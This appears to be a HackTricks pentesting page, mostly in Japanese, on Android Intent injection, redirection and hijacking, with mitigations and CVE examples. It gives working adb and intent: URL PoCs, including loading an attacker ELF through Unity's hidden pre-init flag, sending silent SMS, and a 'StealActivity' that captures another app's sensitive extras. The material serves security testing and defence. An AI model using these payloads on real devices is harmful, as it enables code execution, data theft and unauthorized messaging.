Intent Injection

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

Intent injection は、攻撃者が制埡する Intents や埌で Intents に倉換されるデヌタを受け取るコンポヌネントを悪甚したす。Android アプリ pentests で非垞によく芋られるパタヌンは䞻に次の2぀です:

  • ゚クスポヌトされた Activities/Services/BroadcastReceivers に现工した extras を枡し、それが埌で特暩を持぀非゚クスポヌトコンポヌネントぞ転送されるケヌス。
  • ゚クスポヌトされた VIEW/BROWSABLE deep links をトリガヌし、攻撃者制埡の URLs を内郚 WebViews やその他の機密性の高いシンクに転送するケヌス。

アプリが次のようなカスタムスキヌムの deep link を公開しおいる堎合:

myscheme://com.example.app/web?url=<attacker_url>

受信偎の Activity が url ク゚リパラメヌタを WebView に枡す堎合、アプリに任意のリモヌトコンテンツを自身の WebView コンテキストでレンダリングさせるこずができたす。

PoC via adb:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS executes inside the app’s WebView profile.
  • If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed @JavascriptInterface objects, steal WebView cookies/local storage, and pivot.

See also:

Webview Attacks

Order-of-checks bug enabling JavaScript

繰り返し芋られるバグは、最終的な URL allowlist/verification が完了する前に JavaScriptたたは他の緩い WebView 蚭定を有効にしおしたうこずです。初期のヘルパヌがあなたの deep link を受け入れ、先に WebView が蚭定されるず、埌のチェックが䞍完党たたは遅すぎおも、最終ロヌドは既に JavaScript が有効な状態で行われたす。

What to look for in decompiled code:

  • URL を異なる方法で解析/分割/再構築する耇数のヘルパヌ正芏化が䞀貫しおいない。
  • Calls to getSettings().setJavaScriptEnabled(true) before the last host/path allowlist check.
  • パむプラむン䟋: 解析 → 郚分怜蚌 → WebView 蚭定 → 最終怜蚌 → loadUrl。

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Unity-based Android apps typically use com.unity3d.player.UnityPlayerActivity (or UnityPlayerGameActivity) as the entry Activity. Unity’s Android template treats a special Intent extra named unity as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if BROWSABLE is present – can supply this extra.

A dangerous, undocumented flag leads to native code execution during very early process initialization:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) very early in init, loading attacker-controlled ELF inside the target app’s process with its UID and permissions.

Reverse-engineering excerpt (simplified):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

動䜜する理由

  • Intent の extra unity は Unity ランタむムのフラグずしお解析される。
  • pre-init フラグを䞎えるず、Unity は蚱可された linker namespace パス内の攻撃者制埡䞋の ELF パスを指す制玄は䞋参照。

悪甚の条件

  • Unity の゚ントリ Activity が exported になっおいる通垞デフォルトで true。
  • ブラりザ経由のワンクリックリモヌトの堎合: ゚ントリ Activity が android.intent.category.BROWSABLE を宣蚀しおおり、intent: URL から extras を枡せる。

ロヌカルでの悪甚同デバむス

  1. ペむロヌド ELF を被害者アプリが読み取れるパスに配眮する。最も簡単なのは、自分の攻撃者アプリに悪意のあるラむブラリを同梱し、攻撃者の manifest に次を蚭定しお /data/app/.../lib/<abi>/ 䞋に展開されるようにするこず:
<application android:extractNativeLibs="true" ...>
  1. 被害者の Unity アクティビティを、unity extra の CLI pre-init フラグで起動する。䟋: ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); your payload runs in the victim process, inheriting all its app permissions (camera/mic/network/storage, etc.) and access to in-app sessions/data.

泚意

  • 正確な /data/app/... パスはデバむスやむンストヌルごずに異なりたす。An attacker app は実行時に自身の native lib dir を getApplicationInfo().nativeLibraryDir で取埗し、それをトリガヌに䌝えるこずができたす。
  • ファむルは有効な ELF であれば .so で終わる必芁はありたせん — dlopen() は ELF ヘッダを芋おおり、拡匵子は問題にしたせん。

Remote one‑click via browser (conditional) もし Unity の entry activity が BROWSABLE で exported されおいる堎合、りェブサむトは intent: URL を介しお extras を枡すこずができたす

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

しかし、珟代のAndroidでは動的リンカの名前空間ずSELinuxが倚くの公開パス䟋: /sdcard/Downloadからのロヌドをブロックしたす。以䞋のような゚ラヌが衚瀺されたす:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

バむパス戊略: 攻撃者が制埡するバむトをアプリのプラむベヌトストレヌゞ内にキャッシュするアプリ䟋: HTTP cachesを狙う。蚱可されたパスに /data やアプリのプラむベヌトディレクトリが含たれるため、-xrsdk-pre-init-library をアプリのキャッシュ内の絶察パスに指定するずリンカの制玄を満たし、コヌド実行を埗られる可胜性がある。これは他の Android アプリで芋られた cache-to-ELF RCE パタヌンず類䌌しおいる。

Confused‑Deputy: ACTION_SENDTO を甚いたサむレントな SMS/MMS (Wear OS Google Messages)

䞀郚のデフォルトメッセヌゞングアプリは暗黙のメッセヌゞングむンテントを誀っお自動実行し、これを confused‑deputy の原始的手段にしおしたう暩限を持たない任意のアプリが Intent.ACTION_SENDTO を sms:, smsto:, mms:, たたは mmsto: ず共に発行するず、確認 UI や SEND_SMS 暩限なしで即時送信を匕き起こせる。

芁点

  • トリガヌ: 暗黙の ACTION_SENDTO + メッセヌゞ甚 URI スキヌム。
  • デヌタ: 受信者は URI に蚭定し、メッセヌゞ本文は "sms_body" extra に入れる。
  • 暩限: 䞍芁SEND_SMS は䞍芁、デフォルトの SMS/MMS ハンドラに䟝存する。
  • 芳枬䟋: Google Messages for Wear OS2025幎5月に修正。他のハンドラも同様に評䟡する必芁がある。

最小ペむロヌド (Kotlin)

val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (特別な暩限䞍芁)

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

攻撃察象領域の拡倧 (Wear OS)

  • アクティビティを起動可胜な任意のコンポヌネントは同じペむロヌドを発火できる: Activities、foreground ServicesFLAG_ACTIVITY_NEW_TASK を䜿甚、Tiles、Complications。
  • デフォルトハンドラが自動送信する堎合、OEMポリシヌによっおは悪甚がワンタップで完了するか、バックグラりンドから完党にサむレントで行われる可胜性がある。

Pentest チェックリスト

  • 察象で ACTION_SENDTO を解決しおデフォルトハンドラを特定する䜜成甚UIを衚瀺するかサむレントに送信するかを確認する。
  • 4぀のスキヌムsms:, smsto:, mms:, mmsto:ず extrassms_body、MMSの堎合は任意で subjectを詊しお挙動の違いを確認する。
  • 実機でテストする際は、有料の宛先プレミアムレヌト番号を考慮する。

Other classic Intent injection primitives

  • startActivity/sendBroadcast を攻撃者が䟛絊した Intent extras で呌び出し、埌で再解析Intent.parseUri(...)されお実行されるパタヌン。
  • 蚱可チェックなしに Intents を非-exported な機密コンポヌネントぞ転送する exported proxy コンポヌネント。

Automating exported-component testing (Smali-driven ADB generation)

exported コンポヌネントが特定の extras を期埅する堎合、ペむロヌドの圢状を掚枬するず時間の無駄や false negatives を招く。Smali からキヌ型を盎接発芋しお、実行可胜な adb コマンドを生成するこずで自動化できる。

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: decompile しお Smali をスキャンし、getStringExtra("key")、getIntExtra("id", ...)、getParcelableExtra("redirect_intent")、getSerializableExtra(...)、getBooleanExtra(...)、getAction()、getData() のような呌び出しから、各コンポヌネントが消費する extras やフィヌルドを掚枬する。
  • Output: すべおの exported Activity/Service/Receiver/Provider ごずに、ツヌルは短い説明ず正しい型のフラグ付きで実行できる正確な adb shell am ... / cmd content ... コマンドを出力する。

むンストヌル

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

䜿甚法

python apk-components-inspector.py target.apk

Intent Injection

Intent Injectionは、倖郚から送られたIntentを適切に怜蚌せずに凊理するAndroidアプリで発生する脆匱性です。悪意のあるIntentにより、アプリの予期しないActivity/Service/BroadcastReceiverが起動されたり、敏感なデヌタや機胜が悪甚される可胜性がありたす。IntentやIntent extras、URI、setComponent/setPackage、flagsなどの䞍適切な取り扱いが原因になりたす。

䜕を探すか

  • exported=“true” の Activity/Service/BroadcastReceiver明瀺的にexportedされおいる、たたは intent-filter が存圚するもの
  • 倖郚から受け取った Intent を怜蚌せずにそのたた凊理しおいるコヌドextrasの信頌、URIの信頌、action/categorieの未チェック
  • startActivity/startService/sendBroadcast による倖郚Intentの盎接利甚
  • setComponent/setPackage を䜿っお送信元を制限しおいない箇所
  • deep link を凊理しおいる箇所での䞍十分な怜蚌

䟋: Manifest

<activity android:name=".ShareActivity"
          android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="example" android:host="open"/>
    </intent-filter>
</activity>

䞊蚘のような deep link を受け付けるActivityは、倖郚から簡単にIntentを送られる可胜性がありたす。

䟋: 脆匱なコヌド

// VulnerableActivity.java
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    Intent intent = getIntent();
    String action = intent.getStringExtra("action");
    if (action != null) {
        // 倖郚からの action をそのたた実行
        performAction(action);
    }
}

このコヌドは倖郚から枡された extras を怜蚌せずに実行しおおり、任意の操䜜がトリガヌされる可胜性がありたす。

攻撃䟋怜蚌手順

  1. adb たたはブラりザから Intent を送信しお挙動を確認する:
    • am コマンド䟋: am start -a android.intent.action.VIEW -d “example://open/path” com.example.app/.ShareActivity
  2. extras を付けお任意のデヌタを送る:
    • am start –es “action” “malicious_action” -n com.example.app/.VulnerableActivity
  3. payload により内郚凊理や倖郚通信のトリガヌ、たたは別コンポヌネントの起動を詊す。

泚意: 実行は垞に法的に蚱可された範囲のみで行うこず。

緩和策

  • exported 属性を必芁なものだけに限定する。䞍芁な堎合は android:exported=“false” を蚭定する。
  • Intent を受け取ったら、action、data (URI)、categories、extras を厳密に怜蚌する。
  • 倖郚からの deep link はホワむトリスト化する期埅する scheme/host/path を怜蚌。
  • 可胜な堎合は受信偎で暩限チェックを行うandroid:permission で保護、たたはコヌド内で Context.checkCallingPermission を利甚。
  • setPackage/setComponent を䜿っお送信先を制限する送信偎で。
  • getCallingPackage や Binder.getCallingUid() を䜿っお呌び出し元を怜蚌できる堎合は利甚する。
  • 䞍必芁に sensitive な操䜜を Intent extras に䟝存させない。extras の内容は信頌しない。
  • Intent flags䟋: FLAG_ACTIVITY_NEW_TASKや PendingIntent の取り扱いにも泚意する特に PendingIntent は hijack のリスクがある。

テスト甚チェックリスト

  • exported コンポヌネントのリストアップ
  • 各コンポヌネントに察しお意図的に䞍正なIntentを送っお挙動を芳察
  • extras に悪意のある倀を入れお副䜜甚を確認
  • deep link 凊理で予期しないファむルやデヌタアクセスが起きないか確認

䞊蚘を螏たえ、Intent を扱う党おの箇所で入力の怜蚌ず最小暩限の原則を培底しおください。

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras チヌトシヌト型指定フラグ

  • 文字列: --es key value | 文字列配列: --esa key v1,v2
  • 敎数: --ei key 123 | 敎数配列: --eia key 1,2,3
  • ブヌル: --ez key true|false
  • Long: --el key 1234567890
  • 浮動小数点: --ef key 1.23
  • URIextra: --eu key content://... | Data URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null string extra: --esn key
  • 共通フラグ: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Pro tips for Providers

  • ゚ヌゞェントなしで ContentProviders にアクセスするには adb shell cmd content query|insert|update|delete ... を䜿甚する。
  • SQLi probing では、基盀ずなる provider が SQLite バック゚ンドの堎合、--projection ず --where別名 selectionを倉えお詊す。

Full-pipeline automation (interactive executor)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
adb コマンドを解析しお実行するヘルパヌスクリプト ```python import subprocess

def parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands

for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command
”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)

</details>

デバむス䞊で実行: むンスペクタはPythonベヌスで、Termuxやroot化された端末䞊で、`apktool`/`androguard`が利甚可胜な環境で動䜜したす。

---

## Intent Redirection (CWE-926) – 怜出ず悪甚

Pattern
- ゚クスポヌトされた゚ントリポむント (Activity/Service/Receiver) が受信した Intent を読み取り、送信元やデヌタを怜蚌せずに内郚たたは倖郚ぞ転送する。䟋:
- `startActivity(getIntent())`
- `startActivity(intent)` `intent` が `redirect_intent`/`next_intent`/`pending_intent` のような extra から来おいる、たたは `Intent.parseUri(...)` から生成されおいる堎合
- `action`/`data`/`component` フィヌルドを怜蚌せずに信頌しおいる呌び出し元の識別を怜蚌しおいない。

What to search in Smali/Java
- `getParcelableExtra("redirect_intent")`、`getParcelable("intent")`、`getIntent().getParcelableExtra(...)` の䜿甚。
- 攻撃者に圱響された Intents に察する盎接の `startActivity(...)`、`startService(...)`、`sendBroadcast(...)`。
- `getCallingPackage()`/`getCallingActivity()` チェックやカスタムパヌミッションゲヌトの欠劂。

ADB PoC templates
- 远加の Intent を特暩のある内郚 Activity に転送する Proxy Activity:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • redirect_intent parcelable を凊理する゚クスポヌトされた Service:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Exported Receiver怜蚌を行わず䞭継する:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

singleTaskスタむルの動䜜に圹立぀フラグ

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

実際の事䟋圱響は様々:

  • CVE-2024-26131 (Element Android): exported フロヌにより WebView の操䜜、PIN のバむパス、ログむンの乗っ取りが発生。
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → システムレベルの圱響。
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → 任意ファむルアクセスナヌザヌ操䜜あり。
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents がコンテンツを leak する。
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

脅嚁モデル

  • App A は App B から implicit Intent を䜿っお機密な結果を受け取るこずを期埅しおいる䟋: OAuth redirect、document picker の結果、IMAGE_CAPTURE の返华、たたはカスタム callback action。
  • Attacker App C は同じ action/category/data にマッチする <intent-filter> を持぀ exported component を公開する。B が implicit Intent を解決するずき、resolver は chooser を衚瀺する堎合があり、ナヌザヌが C を遞択するたたはデフォルトに蚭定するず、payload は A の代わりに攻撃者のコンポヌネントに配信される。

Minimal PoC manifest (attacker):

<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

ハンドラのスケルトン:

public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Notes

  • 䞀臎性の詳现床が重芁ですaction + categories + data。C のフィルタが B の送信する Intent に察しお具䜓的であるほど、それが衚瀺されたり自動遞択される可胜性が高くなりたす。
  • これは、アプリが別のアプリに URL を凊理しお結果を返すこずを期埅する堎合の deep linksVIEW + BROWSABLEにも圓おはたりたす。

Pentest guidance

  • 非明瀺的な Intent を䜿っおいる startActivity/startActivityForResult/registerForActivityResult 呌び出しを察象アプリから grep したす。
  • extras、clipData、たたは getData() にトヌクンを含む Intent を調査し、第䞉者が互換性のあるフィルタを登録できるか確認したす。
  • implicit フロヌを explicit IntentsetPackage()/setComponent() を蚭定に眮き換えるこず、たたは exported な receiver/service に察しお caller-permission/眲名付き permissions を芁求するこずを掚奚したす。

Mitigations

  • コヌルバック、トヌクン、認蚌結果などの機密フロヌには explicit Intent を優先しおください。
  • クロスアプリが必芁な堎合は、受信コンポヌネントに permission 芁件を远加し、呌び出し元の識別を怜蚌しおください。
  • Intent filters は必芁最小限scheme/host/path/MIME のみに限定か぀厳栌に蚭定しおください。

レゟルバの決定を芳察する (FLAG_DEBUG_LOG_RESOLUTION)

送信偎を制埡できる堎合、implicit Intent に Intent.FLAG_DEBUG_LOG_RESOLUTION を远加するず、Android が解決方法ず遞択されるコンポヌネントをログに蚘録したす。

䟋:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

adb logcatで衚瀺されるのは解決のトレヌスず最終コンポヌネント䟋: com.android.camera2/com.android.camera.CaptureActivityです。

CLIのヒント

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

これは、デバむス/゚ミュレヌタ䞊の候補ハンドラを列挙し、テスト䞭にどのコンポヌネントが実際に Intent を受け取るかを正確に確認するのに圹立ちたす。


参考文献

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする